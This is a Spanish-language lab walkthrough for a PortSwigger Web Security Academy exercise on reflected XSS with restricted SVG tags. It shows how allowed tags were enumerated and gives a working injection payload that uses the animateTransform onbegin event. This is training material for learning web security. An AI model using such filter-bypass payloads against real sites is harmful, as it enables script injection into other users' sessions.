> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/reflected-xss-with-svg-tags-allowed.md).

# XSS reflejado con etiquetas SVG permitidas

Notas de XSS reflejado con etiquetas SVG permitidas para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### XSS reflejado con cierto marcado SVG permitido

Vulnerabilidad XSS. Piensa en simple. La aplicación bloquea etiquetas HTML comunes, pero deja pasar algunas etiquetas SVG y ciertos atributos/eventos. Objetivo: activar `alert()` a través de una etiqueta SVG.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3e6e342c576eadfabfd43555719665a0581b5aff%2F%7BF281A669-97E0-42B4-A6FA-2DF3DC9B8AD8%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Las etiquetas HTML convencionales están bloqueadas.
* Se realiza una enumeración/bruteforce aproximada de las etiquetas autorizadas.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e8de12bf14f3426efde0f8d732a8a0b6292a1fdf%2F%7B7DF6EEFF-F047-4412-84A4-168EB1FA742D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

* Respuesta del servidor / pruebas que muestran las etiquetas encontradas: `animateTransform`, `image`, `svg`, `title`.

```javascript
<svg><animateTransform a=1>
<svg><animateTransform%20§a§=1>
```

* Pruebas sucesivas de inserción:
* `<svg><animateTransform a=1>` — inserción básica.
* intento de codificar / variación del espacio: `<svg><animateTransform%20a=1>` — para eludir el filtrado.
* El disponible `onbegin` evento se puede encontrar en `animateTransform`.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5cd8029b8614da957bf5eeed913d0bf41392db4a%2F%7BC4F662EE-4950-42C5-A8AC-9DC998B1DDCC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

```javascript
<svg><animateTransform onbegin=alert(0)></animateTransform></svg>
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c45c05c394c950b264594367548f703ba40ae8a2%2F%7B90337C91-94BF-4483-842F-6F0199B16A89%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

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